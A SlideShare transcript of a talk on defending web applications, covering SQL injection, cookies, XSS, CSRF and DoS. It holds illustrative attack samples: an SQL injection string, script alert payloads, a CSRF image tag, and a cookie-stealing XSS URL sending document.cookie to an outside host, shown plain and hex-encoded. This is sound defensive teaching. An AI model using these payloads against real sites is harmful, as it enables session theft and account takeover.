Your SlideShare is downloading. ×
Roberto Bicchierai - Defending web applications from attacks
Roberto Bicchierai - Defending web applications from attacks
Roberto Bicchierai - Defending web applications from attacks
Roberto Bicchierai - Defending web applications from attacks
Roberto Bicchierai - Defending web applications from attacks
Roberto Bicchierai - Defending web applications from attacks
Roberto Bicchierai - Defending web applications from attacks
Roberto Bicchierai - Defending web applications from attacks
Roberto Bicchierai - Defending web applications from attacks
Roberto Bicchierai - Defending web applications from attacks
Roberto Bicchierai - Defending web applications from attacks
Roberto Bicchierai - Defending web applications from attacks
Roberto Bicchierai - Defending web applications from attacks
Roberto Bicchierai - Defending web applications from attacks
Roberto Bicchierai - Defending web applications from attacks
Roberto Bicchierai - Defending web applications from attacks
Roberto Bicchierai - Defending web applications from attacks
Roberto Bicchierai - Defending web applications from attacks
Roberto Bicchierai - Defending web applications from attacks
Roberto Bicchierai - Defending web applications from attacks
Roberto Bicchierai - Defending web applications from attacks
Roberto Bicchierai - Defending web applications from attacks
Roberto Bicchierai - Defending web applications from attacks
Roberto Bicchierai - Defending web applications from attacks
Roberto Bicchierai - Defending web applications from attacks
Roberto Bicchierai - Defending web applications from attacks
Roberto Bicchierai - Defending web applications from attacks
Roberto Bicchierai - Defending web applications from attacks
Roberto Bicchierai - Defending web applications from attacks
Upcoming SlideShare
Loading in...5
×

Thanks for flagging this SlideShare!

Oops! An error has occurred.

×
Saving this for later? Get the SlideShare app to save on your phone or tablet. Read anywhere, anytime – even offline.
Text the download link to your phone
Standard text messaging rates apply

Roberto Bicchierai - Defending web applications from attacks

1,493

Published on

Is my web application exposed? We will present a short guide for the "contemporary developer" of web apps: we will survey the critical points of our web apps, the database, session stealing, cookies. …

Is my web application exposed? We will present a short guide for the "contemporary developer" of web apps: we will survey the critical points of our web apps, the database, session stealing, cookies. We will then review the most common attacks from DOS to XSS to CSRF and ways to defend and / or limit damages.

Published in: Technology
0 Comments
0 Likes
Statistics
Notes
  • Be the first to comment

  • Be the first to like this

No Downloads
Views
Total Views
1,493
On Slideshare
0
From Embeds
0
Number of Embeds
1
Actions
Shares
0
Downloads
17
Comments
0
Likes
0
Embeds 0
No embeds

Report content
Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
No notes for slide

Transcript

  • 1. Defending web applications from attacks
    Roberto Bicchierai
    http://roberto.open-lab.com
    rbicchierai@open-lab.com
  • 2. “Web appsw.t.f.?”
    Channel/protocol usage: e-mail client, skype, dropbox, twitter clients, etc. (mainly for personal use)
    Extra-nets: salesforce, bugzilla, teamwork, alfresco, home banking, jira, etc. (mainlyfor a restrictedgroupofusers)
    Extended audience: blogs, communities e.g.: facebook, linkedin (for huge groups and anonymous users)
  • 3. This speech is focused on letting you know some commons mistakes you MUST avoid when writing a web application.
  • 4. Seems easy to say “security”…
    Classical branches:
    Hardware security
    Cryptography
    Identity
  • 5. Cryptography
    Every single byte you send can be read.
    SSL does not guarantee 100% and slows down your apps.
    Sniffing requires knowledge, software, hardware and physical access to wires.
  • 6. User identity
    Username/e-mail and password
    strength: “p455w0rD.” better than “password” or “p”
    avoid login name, family name, birth date, phone number, child or pet’s names (remember Joshua!)
    try to avoid dictionary ones (record number of attempts!)
    never store passwords on your db
    The newdictionary: why “qazwsxedc” isnot so strong?
    OpenIDis a suitable alternative for some web apps.
    Biometrics are NOT.
    Datibiometrici (difficilmenteusabili)
  • 7. Did I miss something?
    My servers are in a fortress
    3 firewall levels (and one dragon)
    I use 56 chars non-alpha pwd
    pwd expires every 10 days
    I use SSL 1024(128) bit encryption
    I hung blu velvet curtains to the windows
  • 8. Your app sucks!
    Injection
    Cookies
    XSS
    CSRF
    The problem is in the application…
  • 9. Injection: I don’t need a password!
    Earth 2010:
    lotsofapplications are still open to the classicalsqlinjectionvulnerability:
    jsmith
    a’ or ‘a’=‘a
    “select * fromuserswhere username=‘” + login +”’ and password=‘” + password +”’ ”
    DON’T
  • 10. Damned HTML… and your browsers
    3 ingredients make web apps vulnerable:
    HTML was not for applications! But it is! (code injection is too easy)
    HTTP uses cookies for handling sessions
    Javascript, that is ubiquitous in a page (and reads cookies)
    butmainly
    browsers
  • 11. Remember me!
    Saltedcookies, saltedcookies!
    Usesalt and peppertohash login data.
    Do notmakethemreversible!
    md5(user.id+”hash”)
    md5(user.id+”jfhsdj*dsj2+39jrw_enw”)
  • 12. Protectcookies!
    lost cookies = session stolen, now I’m you!
    Hard to recover! Quite “easy” to prevent
    use HttpOnly cookies
    restrict cookie’s scope by setting host, path, expiry
    encrypt data saved on cookies
  • 13. Injectionreloaded: aka XSS
    JSP-ASP example:
    notes:
    <textarea name=“notes”><%=note%></textarea>
    your name: <input type=”text” value=“<%=yourName%>”>
    <%=yourName%>
    notes:
    </textarea><script>alert(“you stink!”)</script>
    your name:
    john “> <script>alert(“I can do everything!”)</script>
    thisis the basicsofXSS
  • 14. XSS
    How I’llgetyourcookies:
    http://host/a.php?variable="><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi? '%20+document.cookie</script>
    “Websites from FBI.gov, CNN.com, Time.com, Ebay, Yahoo, Apple computer, Microsoft, Zdnet, Wired, and Newsbytes have all had one form or another of XSS bugs.” www.cgisecurity.com
  • 15. XSS: encodeuserinputs
    Do not think it’s easy:
    if (userInputs.contains(“<script>”))
    killTheUser();
    itdoesn’t work!
    http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79 %2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63% 75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e
    Do yourecognizethis? Itis the same script!
    Some browsersaccept Ascii, hex, octal, url encoding, unicode, html, etc.
  • 16. XSS: encodeuserinputs
    The safest solution?
    Limit user inputs to plain text
    Html encode every single field
    http://host/a.php?variable=&quot;&gt;&lt;script&gt;document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?%20+document.cookie&lt;/script&gt;
    Sweet dreams! This is always safe!
  • 17. XSS: no plain text? so, pain test!
    Your app allows rich text inputs?
    Did your user need the full power of HTML? Try to avoid using it. Use a lightweight markup language instead.
  • XSS: I like HTML
    Sanitizing an HTML input is really hard work.
    Do not be shy:
    restrict allowed tags: <i><b><a><u><br><hr>
    kill dangerous tags: <script><object><embed>etc.
    test urls:
    <a href=“javascript: or background-image:url(‘…
    limit css styles, e.g.: position
    HtmlEncode all the rest!
  • 21. XSS: test yourpages
    There are about 150 different XSS exploits!
    Test inputs using examples on
    http://ha.ckers.org/xss.html
    with different browsers and versions.
    Use XSSme plugin for FireFox.
  • 22. Missionaccomplished. XSS destroyed!
    Does the user exactly know what she is doing?
    Everytime?
    click here
    next target:
    Cross Site Request Forgery
  • 23. CSRF: howdoesit work?
    John is authenticated on site A. e.g.: stoks.example.com
    John visit the site B reading news: hotStoksNews.goodboy.com
    B contains the CSRF attack to site A e.g.:
    <img src=“http://stoks.example.com/buy.jsp? symbol=KRAK&shares=1000”>
    John is now an happy owner
    of 1000 KRAK shares!
  • 24. CSRF: protectyourapp
    There aren’t many solutions:
    Server-side
    Generated
    Tokens!
  • 25. CSRF & Tokens: howto
    your server generates a random number and: - insert it as hidden parameter in the form (or in the url in case of get)- store it in the user session
    when the form request is received a hidden parameter is matched with the in-session one
  • 26. CSRF & Tokens
    Cons:
    reloading a page (F5) will generate “invalid token error”
    if a page has different entry points token generation may be annoying
    Pros:
    safe
    safe
    safe
  • 27. API: a newenemy?
    REST, JSON, XML API are not evil in themself, but:
    there is no “standard” authentication
    when used with JS clients this may reveal the user key
    you are exposing new ways for xss and csrf
  • 28. DoS: Denialof Service
    DoS protocol level: nothing to do… use intelligent gateways/router
    DoS application level: try to monitor IPs, manage a black-list (not useful for DDoS), kill suspect sessions
    Use session-less pages until authentication
    “DoS” and “Success” are similar, if you can endure an attack, you are ready to support thousands of users.
  • 29. Yourapprocks!
    use strong passwords
    keep data in safe place
    do not store user’s passwords
    salt and pepper everywhere
    use SSL
    use Httponly cookies
    encode user inputs or sanitize them
    use server-side tokens for critical actions
    expose a read-only API
  • 30. “Don’t be evil”
  • 31. Thank you!
    Now: Q&A
    a startingpointwith a collectionof security relatedlinks:
    http://delicious.com/robicch/security
    my Java sanitizer:
    http://roberto.open-lab.com

×